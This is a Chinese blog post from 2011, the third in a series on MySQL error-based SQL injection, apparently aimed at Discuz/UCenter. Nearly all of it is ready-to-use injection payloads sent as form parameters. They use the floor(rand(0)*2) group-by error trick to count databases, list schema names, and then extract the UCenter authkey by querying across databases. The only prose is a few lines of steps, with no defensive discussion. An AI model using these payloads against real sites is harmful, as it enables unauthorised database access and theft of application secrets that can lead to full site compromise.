mysql暴错注入的科普 3

分类:安全 | 2011-08-20 | 撸过 91 次
0人扯谈

 

跨库爆出uckey,跨库到ucenter进行查询,这里我就不详叙了,都截图吧。

 

 

爆出数据库的个数

profilesubmit=1&formhash=232d1c54&info[a’,(select 1 from(select count(*),concat((SELECT concat(substring(count(*),1,64)) FROM information_schema.SCHEMATA),floor(rand(0)* 2))x from information_schema.tables group by x)a),’1′)#]=1

 

逐个爆出数据库名

 

profilesubmit=1&formhash=232d1c54&info[a’,(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),’1′)#]=1

 

profilesubmit=1&formhash=232d1c54&info[a’,(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a),’1′)#]=1

 

最后猜出库名ucenter后,再跨库爆出uckey

 

profilesubmit=1&formhash=232d1c54&info[a’,(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) FROM ucenter.uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),’1′)#]=1

本站内容均为原创,转载请务必保留署名与链接!
mysql暴错注入的科普 3:https://www.webshell.cc/629.html
标签: ,

相关日志